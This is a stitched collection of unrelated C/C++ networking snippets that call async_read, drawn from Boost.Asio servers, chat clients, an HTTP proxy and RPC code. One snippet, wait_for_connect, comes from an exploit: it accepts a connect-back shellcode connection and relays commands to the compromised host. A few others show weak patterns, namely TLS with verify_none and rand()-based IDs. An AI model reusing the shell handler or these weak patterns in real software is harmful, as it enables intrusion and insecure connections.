void IOSessionCommon::readHeader() { boost::mutex::scoped_lock scopedLock(_sessionMutex); m_readBuffer.clear(); m_readBuffer.resize(IO_HEADER_SIZE); async_read(m_socket,buffer(m_readBuffer),bind(&IOSessionCommon::headerHandler,shared_from_this(),placeholders::error)); }
Process::Process(const string_type &command, const string_type &path, std::function<void(const char* bytes, size_t n)> read_stdout, std::function<void(const char* bytes, size_t n)> read_stderr, bool open_stdin, size_t buffer_size) : closed(true), read_stdout(read_stdout), read_stderr(read_stderr), open_stdin(open_stdin), buffer_size(buffer_size) { open(command, path); async_read(); }
Process::Process(std::function<void()> function, std::function<void (const char *, size_t)> read_stdout, std::function<void (const char *, size_t)> read_stderr, bool open_stdin, size_t buffer_size) noexcept : closed(true), read_stdout(read_stdout), read_stderr(read_stderr), open_stdin(open_stdin), buffer_size(buffer_size) { open(function); async_read(); }
void start(boost::system::error_code & ec) { if (!fd_.is_open()) { open(ec); if (ec) return; } async_read(); }
void Connection::run() { std::thread write_handler_thread(m_WriteHandler); async_read(); m_Io.run(); write_handler_thread.join(); }
void handle_write_ack(boost::system::error_code const& e, boost::tuple<Handler> handler) { // Inform caller that data has been received ok. boost::get<0>(handler)(e); // Issue a read operation to handle the next parcel. async_read(boost::get<0>(handler)); }
void ChatClient::handle_read_header(const error_code &error) { if (!error && read_msg_.decode_header()) { async_read(socket_, buffer(read_msg_.body(), read_msg_.body_length()), boost::bind(&ChatClient::handle_read_body, this, boost::asio::placeholders::error)); } else { do_close(); } }
void i2p_stream::start_read_line(error_code const& e, boost::shared_ptr<handler_type> h) { TORRENT_ASSERT(m_magic == 0x1337); COMPLETE_ASYNC("i2p_stream::start_read_line"); if (handle_error(e, h)) return; ADD_OUTSTANDING_ASYNC("i2p_stream::read_line"); m_buffer.resize(1); async_read(m_sock, boost::asio::buffer(m_buffer) , boost::bind(&i2p_stream::read_line, this, _1, h)); }
void connection::start() { fHeaders.clear(); reqHeaders.clear(); respHeaders.clear(); async_read(bsocket_, ba::buffer(bbuffer), ba::transfer_at_least(1), boost::bind(&connection::handle_browser_read_headers, shared_from_this(), ba::placeholders::error, ba::placeholders::bytes_transferred)); }
CAMLprim value iocp_ml_read(value fd, value vlen) { CAMLparam2(fd, vlen); CAMLlocal1(res); intnat len = Long_val(vlen); SOCKET s = Socket_val(fd); assert(Descr_kind_val(fd) == KIND_SOCKET); res = Val_int(async_read(s, len)); CAMLreturn(res); }
/** * * * @param err * @param len */ void connection::handle_server_write(const bs::error_code& err, size_t len) { if(!err) { async_read(ssocket_, ba::buffer(sbuffer), ba::transfer_at_least(1), boost::bind(&connection::handle_server_read_headers, shared_from_this(), ba::placeholders::error, ba::placeholders::bytes_transferred)); }else { shutdown(); } }
//--------------------------------------------------------------------- void TlsConnection::Start() { mTimeout.expires_from_now(boost::posix_time::minutes(5)); mTimeout.async_wait(boost::bind(&TlsConnection::OnTimeout, shared_from_this(), _1)); mSocket.lowest_layer().set_option(boost::asio::ip::tcp::no_delay(false)); mSocket.set_verify_mode(boost::asio::ssl::context::verify_none); mSocket.async_handshake(boost::asio::ssl::stream_base::server, boost::bind(&TlsConnection::handle_handshake, shared_from_this(), boost::asio::placeholders::error)); async_read(); }
int HTTPConnectionPeek(HTTPConnectionRef const conn, HTTPEvent *const type, uv_buf_t *const buf) { if(!conn) return UV_EINVAL; if(!type) return UV_EINVAL; if(!buf) return UV_EINVAL; size_t len; int rc; if(HTTPStreamEOF & conn->flags) return UV_EOF; // Repeat previous errors. rc = HTTP_PARSER_ERRNO(conn->parser); if(HPE_OK != rc && HPE_PAUSED != rc) return UV_UNKNOWN; while(HTTPNothing == conn->type) { if(!conn->raw->len) { // It might seem counterintuitive to free the buffer // just before we could reuse it, but the one time we // don't need it is while blocking. We could free it // after a timeout to give us a chance to reuse it, // but even the two second timeout Apache uses causes // a lot of problems... FREE(&conn->buf); *conn->raw = uv_buf_init(NULL, 0); *conn->out = uv_buf_init(NULL, 0); rc = async_read((uv_stream_t *)conn->stream, conn->raw); if(UV_EOF == rc) conn->flags |= HTTPStreamEOF; if(rc < 0) return rc; conn->buf = conn->raw->base; } http_parser_pause(conn->parser, 0); len = http_parser_execute(conn->parser, &settings, conn->raw->base, conn->raw->len); rc = HTTP_PARSER_ERRNO(conn->parser); // HACK: http_parser returns 1 when the input length is 0 (EOF). if(len > conn->raw->len) len = conn->raw->len; conn->raw->base += len; conn->raw->len -= len; if(HPE_OK != rc && HPE_PAUSED != rc) { // TODO: We should convert HPE_* and return them // instead of logging and returning UV_UNKNOWN. fprintf(stderr, "HTTP parse error %s (%d)\n", http_errno_name(rc), HTTP_PARSER_ERRNO_LINE(conn->parser)); // fprintf(stderr, "%s (%lu)\n", strndup(conn->raw->base, conn->raw->len), conn->raw->len); return UV_UNKNOWN; } } assertf(HTTPNothing != conn->type, "HTTPConnectionPeek must return an event"); *type = conn->type; *buf = *conn->out; return 0; }
//--------------------------------------------------------------------- void SslConnection::HandleRead(const boost::system::error_code& pError) { if(!pError) { async_read(); } else { Close(); } }
void connection::start() { uint64_t t = Utils::time(); srand(t); timeconnected = t; uid = rand()*rand()*rand(); async_read(socket_, boost::asio::buffer(buffer_, 4), boost::bind(&connection::handle_read_header, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); }
//--------------------------------------------------------------------- void SslConnection::handle_handshake(const boost::system::error_code& e) { if (e) { this->HandleRead(e); } else { mTimeout.expires_from_now(boost::posix_time::minutes(5)); mTimeout.async_wait(boost::bind(&SslConnection::OnTimeout, shared_from_this(), _1)); async_read(); } }
void ChatClient::handle_read_body(const error_code &error) { if (!error) { std::cout.write(read_msg_.body(), read_msg_.body_length()); std::cout << std::endl; async_read(socket_, buffer(read_msg_.data(), ChatMessage::header_length), boost::bind(&ChatClient::handle_read_header, this, boost::asio::placeholders::error)); } else { do_close(); } }
//-------------------------------------------------------------------------------- void Session::handle_read(const boost::system::error_code& error) { if (!error) { mPackets.push(mReceivingPacket); async_read(); } else { close(); Mod::GetInstance().OnConnectionLost(); } }
//--------------------------------------------------------------------- void TlsConnection::HandleRead(const boost::system::error_code& pError) { if(!pError) { async_read(); } else { System::Log::Error(pError.message()); System::Log::Flush(); Close(); } }
void PlcSession::handleReadLen(uint32_t* len, const boost::system::error_code& ec) { if(!ec) { char* data = new char[*len]; async_read(mSocket, buffer(data, *len), boost::bind(&PlcSession::handleReadData, this, len, data, placeholders::error)); } else { std::cout << "Error while reading length: " << ec.message() << std::endl; delete len; } }
wait_for_connect(int sock) { fd_set fds; u8 tmp[256]; int tcp, addr_len; struct sockaddr_in server; printf(". waiting for connect_back shellcode responde... "); if (async_read(sock, 15)!=sock) { printf("\bfailed!\r*\n"); exit(0); } tcp = accept( sock, (struct sockaddr *)&server, &addr_len); printf("\bconnected\n. ^---> from %s:%d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port)); close(sock); /* closing incoming socket */ printf(". congratulations. you have owned this one.\n"); /* basic async mode */ while (1) { FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(tcp, &fds); if (select(tcp+1, &fds, NULL, NULL, NULL)>0) { if (FD_ISSET(0, &fds)) { int n; n = read(0, tmp, 256); if (n<0) goto end_conn; if (write(tcp, tmp, n)!=n) goto end_conn; } if (FD_ISSET(tcp, &fds)) { int n; n = read(tcp, tmp, 256); if (n<0) goto end_conn; if (write(0, tmp, n)!=n) goto end_conn; } } } end_conn: close(tcp); printf(". bye-bye. Stay tuned for more Tamandua Sekure Labs codes.\n"); }
/** * * * @param err * @param len */ void connection::handle_server_read_headers(const bs::error_code& err, size_t len) { if(!err) { std::string::size_type idx; if(fHeaders.empty()) fHeaders=std::string(sbuffer.data(),len); else fHeaders+=std::string(sbuffer.data(),len); idx=fHeaders.find("\r\n\r\n"); if(idx == std::string::npos) { // going to read rest of headers async_read(ssocket_, ba::buffer(sbuffer), ba::transfer_at_least(1), boost::bind(&connection::handle_browser_read_headers, shared_from_this(), ba::placeholders::error, ba::placeholders::bytes_transferred)); } else { // analyze headers RespReaded=len-idx-4; idx=fHeaders.find("\r\n"); std::string respString=fHeaders.substr(0,idx); RespLen = -1; parseHeaders(fHeaders.substr(idx+2),respHeaders); std::string reqConnString="",respConnString=""; std::string respVersion=respString.substr(respString.find("HTTP/")+5,3); headersMap::iterator it=respHeaders.find("Content-Length"); if(it != respHeaders.end()) RespLen=boost::lexical_cast<int>(it->second); it=respHeaders.find("Connection"); if(it != respHeaders.end()) respConnString=it->second; it=reqHeaders.find("Connection"); if(it != reqHeaders.end()) reqConnString=it->second; isPersistent=( ((fReqVersion == "1.1" && reqConnString != "close") || (fReqVersion == "1.0" && reqConnString == "keep-alive")) && ((respVersion == "1.1" && respConnString != "close") || (respVersion == "1.0" && respConnString == "keep-alive")) && RespLen != -1); // send data ba::async_write(bsocket_, ba::buffer(fHeaders), boost::bind(&connection::handle_browser_write, shared_from_this(), ba::placeholders::error, ba::placeholders::bytes_transferred)); } } else { shutdown(); } }
void c_rpc_server::c_session::read_handler_data(const boost::system::error_code &error, std::size_t bytes_transferred) { _dbg("readed " << bytes_transferred << " bytes of data"); if (error) { _dbg("asio error " << error.message()); delete_me(); return; } // parsing message _dbg("received message " << m_received_data); async_read(m_socket, boost::asio::buffer(&m_hmac_authenticator.at(0), m_hmac_authenticator.size()), [this](const boost::system::error_code &error, std::size_t bytes_transferred) { read_handler_hmac(error, bytes_transferred); }); }
void i2p_stream::start_read_line(error_code const& e, boost::shared_ptr<handler_type> h) { TORRENT_ASSERT(m_magic == 0x1337); #if defined TORRENT_ASIO_DEBUGGING complete_async("i2p_stream::start_read_line"); #endif if (handle_error(e, h)) return; #if defined TORRENT_ASIO_DEBUGGING add_outstanding_async("i2p_stream::read_line"); #endif m_buffer.resize(1); async_read(m_sock, boost::asio::buffer(m_buffer) , boost::bind(&i2p_stream::read_line, this, _1, h)); }
inline void rawsocket_connection::async_handshake() { std::weak_ptr<rawsocket_connection> weak_self = std::static_pointer_cast<rawsocket_connection>(shared_from_this()); auto handler = [weak_self]( const boost::system::error_code& error_code, size_t bytes_transferred) { auto shared_self = weak_self.lock(); if (shared_self) { shared_self->receive_handshake_handler(error_code, bytes_transferred); } }; async_read(&m_capabilities, sizeof(m_capabilities), handler); }
/** * * * @param err * @param len */ void connection::handle_browser_read_headers(const bs::error_code& err, size_t len) { if(!err) { if(fHeaders.empty()) fHeaders=std::string(bbuffer.data(),len); else fHeaders+=std::string(bbuffer.data(),len); if(fHeaders.find("\r\n\r\n") == std::string::npos) { // going to read rest of headers async_read(bsocket_, ba::buffer(bbuffer), ba::transfer_at_least(1), boost::bind(&connection::handle_browser_read_headers, shared_from_this(), ba::placeholders::error, ba::placeholders::bytes_transferred)); } else { // analyze headers std::string::size_type idx=fHeaders.find("\r\n"); std::string reqString=fHeaders.substr(0,idx); fHeaders.erase(0,idx+2); idx=reqString.find(" "); if(idx == std::string::npos) { std::cout << "Bad first line: " << reqString << std::endl; return; } fMethod=reqString.substr(0,idx); reqString=reqString.substr(idx+1); idx=reqString.find(" "); if(idx == std::string::npos) { std::cout << "Bad first line of request: " << reqString << std::endl; return; } fURL=reqString.substr(0,idx); fReqVersion=reqString.substr(idx+1); idx=fReqVersion.find("/"); if(idx == std::string::npos) { std::cout << "Bad first line of request: " << reqString << std::endl; return; } fReqVersion=fReqVersion.substr(idx+1); // analyze headers, etc parseHeaders(fHeaders,reqHeaders); // pass control start_connect(); } } else { shutdown(); } }
int async_read_expect(char cmd, const char *expect) { int ret=0; char rcmd; char *rdst=NULL; size_t rlen=0; if(async_read(&rcmd, &rdst, &rlen)) return -1; if(rcmd!=cmd || strcmp(rdst, expect)) { logp("expected '%c:%s', got '%c:%s'\n", cmd, expect, rcmd, rdst); ret=-1; } free(rdst); return ret; }
c_rpc_server::c_session::c_session(c_rpc_server *rpc_server_ptr, boost::asio::ip::tcp::socket &&socket, const std::array<unsigned char, crypto_auth_hmacsha512_KEYBYTES> &hmac_key) : m_rpc_server_ptr(rpc_server_ptr), m_socket(std::move(socket)), m_received_data(), m_write_data(), m_hmac_key(hmac_key) { // start reading size (2 bytes) async_read(m_socket, boost::asio::buffer(&m_data_size.at(0), m_data_size.size()), [this](const boost::system::error_code &error, std::size_t bytes_transferred) { read_handler_size(error, bytes_transferred); }); }
void tcp_client::async_read(void) { m_io_service.async_read(m_fd, m_read_buffer, READ_SIZE, [&](std::size_t length) { if (m_receive_handler) if (not m_receive_handler(*this, { m_read_buffer.begin(), m_read_buffer.begin() + length })) { disconnect(); return ; } //! clear read buffer keep waiting for incoming bytes m_read_buffer.clear(); if (m_is_connected) async_read(); }); }
void on_read(boost::system::error_code const & error, std::size_t size) { if (error) { static_cast<Derived *>(this)->on_error(error); return; } char const * it = buffer_.data(); char const * end = it + size; while(it < end) { auto * iev = reinterpret_cast<::inotify_event const *>(it); do_notify(iev); it += sizeof(*iev) + iev->len; } async_read(); }